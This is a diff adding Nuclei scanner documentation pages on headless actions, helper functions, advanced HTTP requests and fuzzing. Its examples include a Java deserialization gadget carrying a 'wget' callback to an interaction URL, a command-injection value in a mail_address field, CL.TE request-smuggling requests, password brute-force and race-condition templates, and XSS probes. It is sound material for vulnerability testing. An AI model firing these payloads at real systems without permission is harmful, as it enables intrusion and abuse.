#### debug
Debug adds a delay of 5 seconds between each headless action and also shows a trace of all the headless events occurring in the browser.
> Note: Only use this for debugging purposes, don't use this in production templates.
```yaml
action: debug
```
#### sleep
Sleeps makes the browser wait for a specified duration in seconds. This is also useful for debugging purposes.
```yaml
action: sleep
args:
duration: 5
```
### Selectors
Selectors are how nuclei headless engine identifies what element to execute an action on. Nuclei supports getting selectors by including a variety of options -
| Selector | Description |
|----------------------|-----------------------------------------------------|
| `r` / `regex` | Element matches CSS Selector and Text Matches Regex |
| `x` / `xpath` | Element matches XPath selector |
| `js` | Return elements from a JS function |
| `search` | Search for a query (can be text, XPATH, CSS) |
| `selector` (default) | Element matches CSS Selector |
### Matchers / Extractor Parts
Valid `part` values supported by **Headless** protocol for Matchers / Extractor are -
| Value | Description |
|-------------------|---------------------------------|
| request | Headless Request |
| `<out_names>` | Action names with stored values |
| raw / body / data | Final DOM response from browser |
### **Example Headless Template**
An example headless template to automatically login into DVWA is provided below -
```yaml
id: dvwa-headless-automatic-login
info:
name: DVWA Headless Automatic Login
author: pdteam
severity: high
headless:
- steps:
- args:
url: "{{BaseURL}}/login.php"
action: navigate
- action: waitload
- args:
by: xpath
xpath: /html/body/div/div[2]/form/fieldset/input
action: click
- action: waitload
- args:
by: xpath
value: admin
xpath: /html/body/div/div[2]/form/fieldset/input
action: text
- args:
by: xpath
xpath: /html/body/div/div[2]/form/fieldset/input[2]
action: click
- action: waitload
- args:
by: xpath
value: password
xpath: /html/body/div/div[2]/form/fieldset/input[2]
action: text
- args:
by: xpath
xpath: /html/body/div/div[2]/form/fieldset/p/input
action: click
- action: waitload
matchers:
- part: resp
type: word
words:
- "You have logged in as"
```
More complete examples are provided [here](/template-example/headless).

View File

@ -0,0 +1,238 @@
---
title: "Helper Functions"
---
### Helper functions
Here is the list of all supported helper functions can be used in the RAW requests / Network requests.
| Helper function | Description | Example | Output |
|-----------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| aes_gcm(key, plaintext interface{}) []byte | AES GCM encrypts a string with key | `{{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}` | `ec183a153b8e8ae7925beed74728534b57a60920c0b009eaa7608a34e06325804c096d7eebccddea3e5ed6c4` |
| base64(src interface{}) string | Base64 encodes a string | `base64("Hello")` | `SGVsbG8=` |
| base64_decode(src interface{}) []byte | Base64 decodes a string | `base64_decode("SGVsbG8=")` | `Hello` |
| base64_py(src interface{}) string | Encodes string to base64 like python (with new lines) | `base64_py("Hello")` | `SGVsbG8=\n` |
| bin_to_dec(binaryNumber number &#124; string) float64 | Transforms the input binary number into a decimal format | `bin_to_dec("0b1010")`\<br>`bin_to_dec(1010)` | `10` |
| compare_versions(versionToCheck string, constraints ...string) bool | Compares the first version argument with the provided constraints | `compare_versions('v1.0.0', '\>v0.0.1', '\<v1.0.1')` | `true` |
| concat(arguments ...interface{}) string | Concatenates the given number of arguments to form a string | `concat("Hello", 123, "world)` | `Hello123world` |
| contains(input, substring interface{}) bool | Verifies if a string contains a substring | `contains("Hello", "lo")` | `true` |
| contains_all(input interface{}, substrings ...string) bool | Verifies if any input contains all of the substrings | `contains("Hello everyone", "lo", "every")` | `true` |
| contains_any(input interface{}, substrings ...string) bool | Verifies if an input contains any of substrings | `contains("Hello everyone", "abc", "llo")` | `true` |
| date_time(dateTimeFormat string, optionalUnixTime interface{}) string | Returns the formatted date time using simplified or `go` style layout for the current or the given unix time | `date_time("%Y-%M-%D %H:%m")`\<br\>`date_time("%Y-%M-%D %H:%m", 1654870680)`\<br\>`date_time("2006-01-02 15:04", unix_time())` | `2022-06-10 14:18` |
| dec_to_hex(number number &#124; string) string | Transforms the input number into hexadecimal format | `dec_to_hex(7001)"` | `1b59` |
| ends_with(str string, suffix ...string) bool | Checks if the string ends with any of the provided substrings | `ends_with("Hello", "lo")` | `true` |
| generate_java_gadget(gadget, cmd, encoding interface{}) string | Generates a Java Deserialization Gadget | `generate_java_gadget("dns", "{{interactsh-url}}", "base64")` | `rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAAHQAAHEAfgAFdAAFcHh0ACpjYWhnMmZiaW41NjRvMGJ0MHRzMDhycDdlZXBwYjkxNDUub2FzdC5mdW54` |
| generate_jwt(json, algorithm, signature, unixMaxAge) []byte | Generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm | `generate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")` | `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U` |
| gzip(input string) string | Compresses the input using GZip | `base64(gzip("Hello"))` | `+H4sIAAAAAAAA//JIzcnJBwQAAP//gonR9wUAAAA=` |
| gzip_decode(input string) string | Decompresses the input using GZip | `gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))` | `Hello` |
| hex_decode(input interface{}) []byte | Hex decodes the given input | `hex_decode("6161")` | `aa` |
| hex_encode(input interface{}) string | Hex encodes the given input | `hex_encode("aa")` | `6161` |
| hex_to_dec(hexNumber number &#124; string) float64 | Transforms the input hexadecimal number into decimal format | `hex_to_dec("ff")`\<br\>`hex_to_dec("0xff")` | `255` |
| hmac(algorithm, data, secret) string | hmac function that accepts a hashing function type with data and secret | `hmac("sha1", "test", "scrt")` | `8856b111056d946d5c6c92a21b43c233596623c6` |
| html_escape(input interface{}) string | HTML escapes the given input | `html_escape("\<body\>test\</body\>")` | `&lt;body&gt;test&lt;/body&gt;` |
| html_unescape(input interface{}) string | HTML un-escapes the given input | `html_unescape("&lt;body&gt;test&lt;/body&gt;")` | `\<body\>test\</body\>` |
| join(separator string, elements ...interface{}) string | Joins the given elements using the specified separator | `join("_", 123, "hello", "world")` | `123_hello_world` |
| json_minify(json) string | Minifies a JSON string by removing unnecessary whitespace | `json_minify("{ \"name\": \"John Doe\", \"foo\": \"bar\" }")` | `{"foo":"bar","name":"John Doe"}` |
| json_prettify(json) string | Prettifies a JSON string by adding indentation | `json_prettify("{\"foo\":\"bar\",\"name\":\"John Doe\"}")` | `{\n \"foo\": \"bar\",\n \"name\": \"John Doe\"\n}` |
| len(arg interface{}) int | Returns the length of the input | `len("Hello")` | `5` |
| line_ends_with(str string, suffix ...string) bool | Checks if any line of the string ends with any of the provided substrings | `line_ends_with("Hello\nHi", "lo")` | `true` |
| line_starts_with(str string, prefix ...string) bool | Checks if any line of the string starts with any of the provided substrings | `line_starts_with("Hi\nHello", "He")` | `true` |
| md5(input interface{}) string | Calculates the MD5 (Message Digest) hash of the input | `md5("Hello")` | `8b1a9953c4611296a827abf8c47804d7` |
| mmh3(input interface{}) string | Calculates the MMH3 (MurmurHash3) hash of an input | `mmh3("Hello")` | `316307400` |
| oct_to_dec(octalNumber number &#124; string) float64 | Transforms the input octal number into a decimal format | `oct_to_dec("0o1234567")`\<br\>`oct_to_dec(1234567)` | `342391` |
| print_debug(args ...interface{}) | Prints the value of a given input or expression. Used for debugging. | `print_debug(1+2, "Hello")` | `3 Hello` |
| rand_base(length uint, optionalCharSet string) string | Generates a random sequence of given length string from an optional charset (defaults to letters and numbers) | `rand_base(5, "abc")` | `caccb` |
| rand_char(optionalCharSet string) string | Generates a random character from an optional character set (defaults to letters and numbers) | `rand_char("abc")` | `a` |
| rand_int(optionalMin, optionalMax uint) int | Generates a random integer between the given optional limits (defaults to 0 - MaxInt32) | `rand_int(1, 10)` | `6` |
| rand_text_alpha(length uint, optionalBadChars string) string | Generates a random string of letters, of given length, excluding the optional cutset characters | `rand_text_alpha(10, "abc")` | `WKozhjJWlJ` |
| rand_text_alphanumeric(length uint, optionalBadChars string) string | Generates a random alphanumeric string, of given length without the optional cutset characters | `rand_text_alphanumeric(10, "ab12")` | `NthI0IiY8r` |
| rand_ip(cidr ...string) string | Generates a random IP address | `rand_ip("192.168.0.0/24")` | `192.168.0.171` |
| rand_text_numeric(length uint, optionalBadNumbers string) string | Generates a random numeric string of given length without the optional set of undesired numbers | `rand_text_numeric(10, 123)` | `0654087985` |
| regex(pattern, input string) bool | Tests the given regular expression against the input string | `regex("H([a-z]+)o", "Hello")` | `true` |
| remove_bad_chars(input, cutset interface{}) string | Removes the desired characters from the input | `remove_bad_chars("abcd", "bc")` | `ad` |
| repeat(str string, count uint) string | Repeats the input string the given amount of times | `repeat("../", 5)` | `../../../../../` |
| replace(str, old, new string) string | Replaces a given substring in the given input | `replace("Hello", "He", "Ha")` | `Hallo` |
| replace_regex(source, regex, replacement string) string | Replaces substrings matching the given regular expression in the input | `replace_regex("He123llo", "(\\d+)", "")` | `Hello` |
| reverse(input string) string | Reverses the given input | `reverse("abc")` | `cba` |
| sha1(input interface{}) string | Calculates the SHA1 (Secure Hash 1) hash of the input | `sha1("Hello")` | `f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0` |
| sha256(input interface{}) string | Calculates the SHA256 (Secure Hash 256) hash of the input | `sha256("Hello")` | `185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969` |
| starts_with(str string, prefix ...string) bool | Checks if the string starts with any of the provided substrings | `starts_with("Hello", "He")` | `true` |
| to_lower(input string) string | Transforms the input into lowercase characters | `to_lower("HELLO")` | `hello` |
| to_unix_time(input string, layout string) int | Parses a string date time using default or user given layouts, then returns its Unix timestamp | `to_unix_time("2022-01-13T16:30:10+00:00")`\<br\>`to_unix_time("2022-01-13 16:30:10")`\<br\>`to_unix_time("13-01-2022 16:30:10". "02-01-2006 15:04:05")` | `1642091410` |
| to_upper(input string) string | Transforms the input into uppercase characters | `to_upper("hello")` | `HELLO` |
| trim(input, cutset string) string | Returns a slice of the input with all leading and trailing Unicode code points contained in cutset removed | `trim("aaaHelloddd", "ad")` | `Hello` |
| trim_left(input, cutset string) string | Returns a slice of the input with all leading Unicode code points contained in cutset removed | `trim_left("aaaHelloddd", "ad")` | `Helloddd` |
| trim_prefix(input, prefix string) string | Returns the input without the provided leading prefix string | `trim_prefix("aaHelloaa", "aa")` | `Helloaa` |
| trim_right(input, cutset string) string | Returns a string, with all trailing Unicode code points contained in cutset removed | `trim_right("aaaHelloddd", "ad")` | `aaaHello` |
| trim_space(input string) string | Returns a string, with all leading and trailing white space removed, as defined by Unicode | `trim_space(" Hello ")` | `"Hello"` |
| trim_suffix(input, suffix string) string | Returns input without the provided trailing suffix string | `trim_suffix("aaHelloaa", "aa")` | `aaHello` |
| unix_time(optionalSeconds uint) float64 | Returns the current Unix time (number of seconds elapsed since January 1, 1970 UTC) with the added optional seconds | `unix_time(10)` | `1639568278` |
| url_decode(input string) string | URL decodes the input string | `url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")` | `https://projectdiscovery.io?test=1` |
| url_encode(input string) string | URL encodes the input string | `url_encode("https://projectdiscovery.io/test?a=1")` | `https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1` |
| wait_for(seconds uint) | Pauses the execution for the given amount of seconds | `wait_for(10)` | `true` |
| zlib(input string) string | Compresses the input using Zlib | `base64(zlib("Hello"))` | `eJzySM3JyQcEAAD//wWMAfU=` |
| zlib_decode(input string) string | Decompresses the input using Zlib | `zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))` | `Hello` |
|resolve(host string, format string) string |Resolves a host using a dns type that you define| `resolve("localhost",4)`| `127.0.0.1`|
|ip_format(ip string, format string) string|It takes an input ip and converts it to another format according to this [legend](https://github.com/projectdiscovery/mapcidr/wiki/IP-Format-Index), the second parameter indicates the conversion index and must be between 1 and 11| `ip_format("127.0.0.1", 3)`| `0177.0.0.01`|
### Deserialization helper functions
Nuclei allows payload generation for a few common gadget from [ysoserial](https://github.com/frohoff/ysoserial).
**Supported Payload:**
- `dns` (URLDNS)
- `commons-collections3.1`
- `commons-collections4.0`
- `jdk7u21`
- `jdk8u20`
- `groovy1`
**Supported encodings:**
- `base64` (default)
- `gzip-base64`
- `gzip`
- `hex`
- `raw`
**Deserialization helper function format:**
```yaml
{{generate_java_gadget(payload, cmd, encoding}}
```
**Deserialization helper function example:**
```yaml
{{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
```
### JSON helper functions
Nuclei allows manipulate JSON strings in different ways, here is a list of its functions:
- `generate_jwt`, to generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm.
- `json_minify`, to minifies a JSON string by removing unnecessary whitespace.
- `json_prettify`, to prettifies a JSON string by adding indentation.
**Examples**
**`generate_jwt`**
To generate a JSON Web Token (JWT), you have to supply the JSON that you want to sign, _at least_.
Here is a list of supported algorithms for generating JWTs with `generate_jwt` function _(case-insensitive)_:
- `HS256`
- `HS384`
- `HS512`
- `RS256`
- `RS384`
- `RS512`
- `PS256`
- `PS384`
- `PS512`
- `ES256`
- `ES384`
- `ES512`
- `EdDSA`
- `NONE`
Empty string ("") also means `NONE`.
Format:
```yaml
{{generate_jwt(json, algorithm, signature, maxAgeUnix)}}
```
> Arguments other than `json` are optional.
Example:
```yaml
variables:
json: | # required
{
"foo": "bar",
"name": "John Doe"
}
alg: "HS256" # optional
sig: "this_is_secret" # optional
age: '{{to_unix_time("2032-12-30T16:30:10+00:00")}}' # optional
jwt: '{{generate_jwt(json, "{{alg}}", "{{sig}}", "{{age}}")}}'
```
> The `maxAgeUnix` argument is to set the expiration `"exp"` JWT standard claim, as well as the `"iat"` claim when you call the function.
**`json_minify`**
Format:
```yaml
{{json_minify(json)}}
```
Example:
```yaml
variables:
json: |
{
"foo": "bar",
"name": "John Doe"
}
minify: '{{json_minify(json}}'
```
`minify` variable output:
```json
{"foo":"bar","name":"John Doe"}
```
**`json_prettify`**
Format:
```yaml
{{json_prettify(json)}}
```
Example:
```yaml
variables:
json: '{"foo":"bar","name":"John Doe"}'
pretty: '{{json_prettify(json}}'
```
`pretty` variable output:
```json
{
"foo": "bar",
"name": "John Doe"
}
```
**`resolve`**
Format:
```yaml
{{resolve(host,format)}}
```
Here is a list of formats available for dns type:
- `4` or `a`
- `6` or `aaaa`
- `cname`
- `ns`
- `txt`
- `srv`
- `ptr`
- `mx`
- `soa`
- `caa`

View File

@ -0,0 +1,337 @@
---
title: "Advance HTTP"
---
## Advance requests
Weve enriched nuclei to allow advanced scanning of web servers. Users can now use multiple options to tune HTTP request workflows.
### Pipelining
HTTP Pipelining support has been added which allows multiple HTTP requests to be sent on the same connection inspired from [http-desync-attacks-request-smuggling-reborn](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn).
Before running HTTP pipelining based templates, make sure the running target supports HTTP Pipeline connection, otherwise nuclei engine fallbacks to standard HTTP request engine.
If you want to confirm the given domain or list of subdomains supports HTTP Pipelining, [httpx](https://github.com/projectdiscovery/) has a flag `-pipeline` to do so.
An example configuring showing pipelining attributes of nuclei.
```yaml
unsafe: true
pipeline: true
pipeline-concurrent-connections: 40
pipeline-requests-per-connection: 25000
```
An example template demonstrating pipelining capabilities of nuclei has been provided below-
```yaml
id: pipeline-testing
info:
name: pipeline testing
author: pdteam
severity: info
http:
- raw:
- |+
GET /{{path}} HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}
attack: batteringram
payloads:
path: path_wordlist.txt
unsafe: true
pipeline: true
pipeline-concurrent-connections: 40
pipeline-requests-per-connection: 25000
matchers:
- type: status
part: header
status:
- 200
```
### Connection pooling
While the earlier versions of nuclei did not do connection pooling, users can now configure templates to either use HTTP connection pooling or not. This allows for faster scanning based on requirement.
To enable connection pooling in the template, `threads` attribute can be defined with respective number of threads you wanted to use in the payloads sections.
`Connection: Close` header can not be used in HTTP connection pooling template, otherwise engine will fail and fallback to standard HTTP requests with pooling.
An example template using HTTP connection pooling-
```yaml
id: fuzzing-example
info:
name: Connection pooling example
author: pdteam
severity: info
http:
- raw:
- |
GET /protected HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64('admin:§password§')}}
attack: batteringram
payloads:
password: password.txt
threads: 40
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Unique string"
part: body
```
### Smuggling
HTTP Smuggling is a class of Web-Attacks recently made popular by [Portswiggers Research](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn) into the topic. For an in-depth overview, please visit the article linked above.
In the open source space, detecting http smuggling is difficult particularly due to the requests for detection being malformed by nature. Nuclei is able to reliably detect HTTP Smuggling vulnerabilities utilising the [rawhttp](https://github.com/projectdiscovery/rawhttp) engine.
The most basic example of an HTTP Smuggling vulnerability is CL.TE Smuggling. An example template to detect a CE.TL HTTP Smuggling vulnerability is provided below using the `unsafe: true` attribute for rawhttp based requests.
```yaml
id: CL-TE-http-smuggling
info:
name: HTTP request smuggling, basic CL.TE vulnerability
author: pdteam
severity: info
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
http:
- raw:
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
unsafe: true
matchers:
- type: word
words:
- 'Unrecognized method GPOST'
```
More examples are available in [template-example](/template-example/http/http-smuggling/) section for smuggling templates.
### Race conditions
Race Conditions are another class of bugs not easily automated via traditional tooling. Burp Suite introduced a Gate mechanism to Turbo Intruder where all the bytes for all the requests are sent expect the last one at once which is only sent together for all requests synchronizing the send event.
We have implemented **Gate** mechanism in nuclei engine and allow them run via templates which makes the testing for this specific bug class simple and portable.
To enable race condition check within template, `race` attribute can be set to `true` and `race_count` defines the number of simultaneous request you want to initiate.
Below is an example template where the same request is repeated for 10 times using the gate logic.
```yaml
id: race-condition-testing
info:
name: Race condition testing
author: pdteam
severity: info
http:
- raw:
- |
POST /coupons HTTP/1.1
Host: {{Hostname}}
promo_code=20OFF
race: true
race_count: 10
matchers:
- type: status
part: header
status:
- 200
```
You can simply replace the `POST` request with any suspected vulnerable request and change the `race_count` as per your need, and it's ready to run.
```bash
nuclei -t race.yaml -target https://api.target.com
```
**Multi request race condition testing**
For the scenario when multiple requests needs to be sent in order to exploit the race condition, we can make use of threads.
```yaml
threads: 5
race: true
```
`threads` is a total number of request you wanted make with the template to perform race condition testing.
Below is an example template where multiple (5) unique request will be sent at the same time using the gate logic.
```yaml
id: multi-request-race
info:
name: Race condition testing with multiple requests
author: pd-team
severity: info
http:
- raw:
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=1
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=2
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=3
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=4
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=5
threads: 5
race: true
```
## Requests Annotation
Request inline annotations allow performing per request properties/behavior override. They are very similar to python/java class annotations and must be put on the request just before the RFC line. Currently, only the following overrides are supported:
- `@Host:` which overrides the real target of the request (usually the host/ip provided as input). It supports syntax with ip/domain, port, and scheme, for example: `domain.tld`, `domain.tld:port`, `http://domain.tld:port`
- `@tls-sni:` which overrides the SNI Name of the TLS request (usually the hostname provided as input). It supports any literals. The special value `request.host` uses the `Host` header and `interactsh-url` uses an interactsh generated URL.
- `@timeout:` which overrides the timeout for the request to a custom duration. It supports durations formatted as string. If no duration is specified, the default Timeout flag value is used.
The following example shows the annotations within a request:
```yaml
- |
@Host: https://projectdiscovery.io:443
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
```
This is particularly useful, for example, in the case of templates with multiple requests, where one request after the initial one needs to be performed to a specific host (for example, to check an API validity):
```yaml
http:
- raw:
# this request will be sent to {{Hostname}} to get the token
- |
GET /getkey HTTP/1.1
Host: {{Hostname}}
# This request will be sent instead to https://api.target.com:443 to verify the token validity
- |
@Host: https://api.target.com:443
GET /api/key={{token}} HTTP/1.1
Host: api.target.com:443
extractors:
- type: regex
name: token
part: body
regex:
# random extractor of strings between prefix and suffix
- 'prefix(.*)suffix'
matchers:
- type: word
part: body
words:
- valid token
```
Example of a custom `timeout` annotations -
```yaml
- |
@timeout: 25s
POST /conf_mail.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
```
Example of `sni` annotation with `interactsh-url` -
```yaml
- |
@tls-sni: interactsh-url
POST /conf_mail.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
```

View File

@ -0,0 +1,175 @@
---
title: "Base HTTP"
---
<Note>
**Requests**
Nuclei offers extensive support for various features related to HTTP protocol. Raw and Model based HTTP requests are supported, along with options Non-RFC client requests support too. Payloads can also be specified and raw requests can be transformed based on payload values along with many more capabilities that are shown later on this Page.
HTTP Requests start with a `request` block which specifies the start of the requests for the template.
</Note>
```yaml
# Start the requests for the template right here
http:
```
<Note>
**Method**
Request method can be **GET**, **POST**, **PUT**, **DELETE**, etc. depending on the needs.
</Note>
```yaml
# Method is the method for the request
method: GET
```
<Note>
**Redirects**
Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with `redirects: true` in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using `max-redirects` field.
</Note>
An example of the usage:
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/login.php"
redirects: true
max-redirects: 3
```
<Warning>Currently redirects are defined per template, not per request.</Warning>
<Note>
**Path**
The next part of the requests is the **path** of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime.
Variables start with `{{` and end with `}}` and are case-sensitive.
**{{BaseURL}}** - This will replace on runtime in the request by the input URL as specified in the target file.
**{{RootURL}}** - This will replace on runtime in the request by the root URL as specified in the target file.
**{{Hostname}}** - Hostname variable is replaced by the hostname including port of the target on runtime.
**{{Host}}** - This will replace on runtime in the request by the input host as specified in the target file.
**{{Port}}** - This will replace on runtime in the request by the input port as specified in the target file.
**{{Path}}** - This will replace on runtime in the request by the input path as specified in the target file.
**{{File}}** - This will replace on runtime in the request by the input filename as specified in the target file.
**{{Scheme}}** - This will replace on runtime in the request by protocol scheme as specified in the target file.
</Note>
An example is provided below - https://example.com:443/foo/bar.php
| Variable | Value |
|--------------|-------------------------------------|
| \{\{BaseURL\}\} | https://example.com:443/foo/bar.php |
| \{\{RootURL\}\} | https://example.com:443 |
| \{\{Hostname\}\} | example.com:443 |
| \{\{Host\}\} | example.com |
| \{\{Port\}\} | 443 |
| \{\{Path\}\} | /foo |
| \{\{File\}\} | bar.php |
| \{\{Scheme\}\} | https |
Some sample dynamic variable replacement examples:
```yaml
path: "{{BaseURL}}/.git/config"
# This path will be replaced on execution with BaseURL
# If BaseURL is set to https://abc.com then the
# path will get replaced to the following: https://abc.com/.git/config
```
Multiple paths can also be specified in one request which will be requested for the target.
### Headers
Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:
```yaml
# headers contain the headers for the request
headers:
# Custom user-agent header
User-Agent: Some-Random-User-Agent
# Custom request origin
Origin: https://google.com
```
### Body
Body specifies a body to be sent along with the request. For instance:
```yaml
# Body is a string sent along with the request
body: "{\"some random JSON\"}"
# Body is a string sent along with the request
body: "admin=test"
```
### Session
To maintain cookie based browser like session between multiple requests, you can simply use `cookie-reuse: true` in your template, Useful in cases where you want to maintain session between series of request to complete the exploit chain and to perform authenticated scans.
```yaml
# cookie-reuse accepts boolean input and false as default
cookie-reuse: true
```
### Request Condition
Request condition allows checking for the condition between multiple requests for writing complex checks and exploits involving various HTTP requests to complete the exploit chain.
The functionality will be automatically enabled if DSL matchers/extractors contain numbers as a suffix with respective attributes.
For example, the attribute `status_code` will point to the effective status code of the current request/response pair in elaboration. Previous responses status codes are accessible by suffixing the attribute name with `_n`, where n is the n-th ordered request 1-based. So if the template has four requests and we are currently at number 3:
- `status_code`: will refer to the response code of request number 3
- `status_code_1` and `status_code_2` will refer to the response codes of the sequential responses number one and two
For example with `status_code_1`, `status_code_3`, and`body_2`:
```yaml
matchers:
- type: dsl
dsl:
- "status_code_1 == 404 && status_code_2 == 200 && contains((body_2), 'secret_string')"
```
<Note>Request conditions might require more memory as all attributes of previous responses are kept in memory</Note>
### **Example HTTP Template**
The final template file for the `.git/config` file mentioned above is as follows:
```yaml
id: git-config
info:
name: Git Config File
author: Ice3man
severity: medium
description: Searches for the pattern /.git/config on passed URLs.
http:
- method: GET
path:
- "{{BaseURL}}/.git/config"
matchers:
- type: word
words:
- "[core]"
```

View File

@ -0,0 +1,196 @@
---
title: "HTTP Fuzzing"
---
### HTTP Fuzzing
Nuclei supports fuzzing of HTTP requests based on rules defined in the `fuzzing` section of the HTTP request. This allows creating templates for generic Web Application vulnerabilities like SQLi, SSRF, CMDi, etc without any information of the target like a classic web fuzzer.
#### Part
Part specifies what part of the request should be fuzzed based on the specified rules. Available options for this parameter are -
1. **query** (`default`) - fuzz query parameters for URL
```yaml
fuzzing:
- part: query # fuzz parameters in URL query
```
Support will be added for `path`,`header`,`body`,`cookie`, etc parts soon.
#### Type
Type specifies the type of replacement to perform for the fuzzing rule value. Available options for this parameter are -
1. **replace** (`default`) - replace the value with payload
2. **prefix** - prefix the value with payload
3. **postfix** - postfix the value with payload
4. **infix** - infix the value with payload (place in between)
```yaml
fuzzing:
- part: query
type: postfix # Fuzz query and postfix payload to params
```
#### Mode
Mode specifies the mode in which to perform the replacements. Available modes are -
1. **multiple** (`default`) - replace all values at once
2. **single** - replace one value at a time
```yaml
fuzzing:
- part: query
type: postfix
mode: multiple # Fuzz query postfixing payloads to all parameters at once
```
> **Note**: default values are set/used when other options are not defined.
#### Filters
Multiple filters are supported to restrict the scope of fuzzing to only interesting parameter keys and values. Nuclei HTTP Fuzzing engine converts request parts into Keys and Values which then can be filtered by their related options.
The following filter fields are supported -
1. **keys** - list of parameter names to fuzz (exact match)
2. **keys-regex** - list of parameter regex to fuzz
3. **values** - list of value regex to fuzz
These filters can be used in combination to run highly targeted fuzzing based on the parameter input. A few examples of such filtering are provided below.
```yaml
# fuzzing command injection based on parameter name value
fuzzing:
- part: query
type: replace
mode: single
keys:
- "daemon"
- "upload"
- "dir"
- "execute"
- "download"
- "log"
- "ip"
- "cli"
- "cmd"
```
```yaml
# fuzzing openredirects based on parameter name regex
fuzzing:
- part: query
type: replace
mode: single
keys-regex:
- "redirect.*"
```
```yaml
# fuzzing ssrf based on parameter value regex
fuzzing:
- part: query
type: replace
mode: single
values:
- "https?://.*"
```
#### Fuzz
Fuzz specifies the values to replace with a `type` for a parameter. It supports payloads, DSL functions, etc and allows users to fully utilize the existing nuclei feature-set for fuzzing purposes.
```yaml
# fuzz section for xss fuzzing with stop-at-first-match
payloads:
reflection:
- "6842'\"><9967"
stop-at-first-match: true
fuzzing:
- part: query
type: postfix
mode: single
fuzz:
- "{{reflection}}"
```
```yaml
# using interactsh-url placeholder for oob testing
payloads:
redirect:
- "{{interactsh-url}}"
fuzzing:
- part: query
type: replace
mode: single
keys:
- "dest"
- "redirect"
- "uri"
fuzz:
- "https://{{redirect}}"
```
```yaml
# using template-level variables for SSTI testing
variables:
first: "{{rand_int(10000, 99999)}}"
second: "{{rand_int(10000, 99999)}}"
result: "{{to_number(first)*to_number(second)}}"
http:
...
payloads:
reflection:
- '{{concat("{{", "§first§*§second§", "}}")}}'
fuzzing:
- part: query
type: postfix
mode: multiple
fuzz:
- "{{reflection}}"
```
#### Example **Fuzzing** template
An example sample template for fuzzing XSS vulnerabilities is provided below.
```yaml
id: fuzz-reflection-xss
info:
name: Basic Reflection Potential XSS Detection
author: pdteam
severity: low
http:
- method: GET
path:
- "{{BaseURL}}"
payloads:
reflection:
- "6842'\"><9967"
stop-at-first-match: true
fuzzing:
- part: query
type: postfix
mode: single
fuzz:
- "{{reflection}}"
